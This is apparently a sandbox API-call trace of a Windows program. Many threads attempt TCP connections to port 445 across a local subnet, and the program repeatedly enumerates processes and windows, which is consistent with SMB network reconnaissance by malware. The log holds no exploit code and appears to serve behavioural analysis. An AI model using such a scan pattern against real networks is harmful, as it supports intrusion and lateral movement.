[0165.763] WSAConnect (in: s=0x23cc, name=0x276de40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.244"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.163] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3306e390, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.729] CoUninitialize ()
Thread:
id = 258
os_tid = 0xe2c
[0165.769] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.770] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x23ec
[0165.771] WSAConnect (in: s=0x23ec, name=0x276e558*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.032] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3328e0b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0191.076] CoUninitialize ()
Thread:
id = 259
os_tid = 0xe30
[0165.779] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.780] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2410
[0165.780] WSAConnect (in: s=0x2410, name=0x276ec70*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.246"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.984] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3316de30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0191.029] CoUninitialize ()
Thread:
id = 260
os_tid = 0xe34
[0165.788] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.792] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2430
[0165.793] WSAConnect (in: s=0x2430, name=0x276f388*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.247"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.937] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x324edd30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.719] CoUninitialize ()
Thread:
id = 261
os_tid = 0xe38
[0165.799] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.800] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2450
[0165.800] WSAConnect (in: s=0x2450, name=0x276faa0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.248"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.892] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x333ce0f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.717] CoUninitialize ()
Thread:
id = 262
os_tid = 0xe3c
[0165.806] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.807] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2470
[0165.808] WSAConnect (in: s=0x2470, name=0x27701b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.249"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.849] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x32bfded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.714] CoUninitialize ()
Thread:
id = 263
os_tid = 0xe40
[0165.815] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.816] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2490
[0165.816] WSAConnect (in: s=0x2490, name=0x27708d0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.250"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.797] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x335adbf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.842] CoUninitialize ()
Thread:
id = 264
os_tid = 0xe44
[0165.823] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.824] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x24b0
[0165.824] WSAConnect (in: s=0x24b0, name=0x2770fe8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.251"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.750] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x336ae070, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.795] CoUninitialize ()
Thread:
id = 265
os_tid = 0xe48
[0165.832] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.833] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x24d0
[0165.833] WSAConnect (in: s=0x24d0, name=0x2771700*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.252"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.703] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3386db90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.670] CoUninitialize ()
Thread:
id = 266
os_tid = 0xe4c
[0165.841] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.842] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x24f0
[0165.842] WSAConnect (in: s=0x24f0, name=0x2771e18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.253"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.657] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x33acded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.668] CoUninitialize ()
Thread:
id = 267
os_tid = 0xe50
[0165.853] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.855] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2510
[0165.855] WSAConnect (in: s=0x2510, name=0x2772530*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.254"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0190.623] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x33bddad0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.667] CoUninitialize ()
Thread:
id = 268
os_tid = 0xe54
[0165.870] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.871] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2530
[0165.872] WSAConnect (in: s=0x2530, name=0x2772c48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.255"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0165.874] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2741, dwLanguageId=0x0, lpBuffer=0x339cd9f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="The requested address is not valid in its context.\r\n") returned 0x34
[0165.944] CoUninitialize ()
Thread:
id = 269
os_tid = 0xeac
[0199.658] CoGetContextToken (in: pToken=0x33dce840 | out: pToken=0x33dce840) returned 0x0
[0199.659] CObjectContext::QueryInterface () returned 0x0
[0199.659] CObjectContext::GetCurrentThreadType () returned 0x0
[0199.659] Release () returned 0x0
Thread:
id = 270
os_tid = 0xf48
Thread:
id = 273
os_tid = 0xfa0
[0235.247] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0236.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0236.313] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0236.399] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0238.573] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0238.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12258) returned 0x0
[0238.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12258) returned 0x0
[0239.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12258) returned 0x0
[0239.004] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0239.153] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0239.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0239.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0239.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0239.592] ResetEvent (hEvent=0x100) returned 1
[0239.825] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0239.953] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0240.380] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0240.395] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0240.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0240.397] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0240.547] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0240.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0240.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0240.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0240.991] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0241.108] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0241.522] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x122a8) returned 0x0
[0241.539] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0241.653] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0242.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x125c0) returned 0x0
[0242.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x125c0) returned 0x0
[0242.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x125c0) returned 0x0
[0242.267] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0242.550] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0243.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12730) returned 0x0
[0243.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12730) returned 0x0
[0243.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12730) returned 0x0
[0243.316] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0243.402] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0244.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12b98) returned 0x0
[0244.041] ResetEvent (hEvent=0x100) returned 1
[0244.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12c88) returned 0x0
[0244.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12c88) returned 0x0
[0244.863] EnumWindows (lpEnumFunc=0x1b1a2a0c, lParam=0x0) returned 1
[0244.864] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0244.864] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.864] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.864] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.865] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.865] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0244.865] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.865] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0244.865] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0244.865] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.865] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.866] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.866] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.866] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.866] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.866] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.866] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.867] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.867] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.867] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.867] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0244.867] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0244.867] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0244.867] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0244.868] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0244.868] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0244.868] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0244.868] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.868] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.868] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.868] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.868] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.868] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.869] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.869] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.869] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0244.869] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0244.869] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0244.869] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0244.869] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0244.869] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0244.869] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0244.869] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0244.870] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0244.870] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0244.870] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0244.870] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0244.870] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0244.870] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0244.870] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0244.870] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0244.871] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0244.871] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0244.871] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0244.872] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0244.872] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0244.872] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0244.872] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0244.872] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0244.872] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0244.872] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0244.873] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0244.873] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0244.873] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0244.873] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0244.873] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0244.873] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0244.874] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0244.874] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
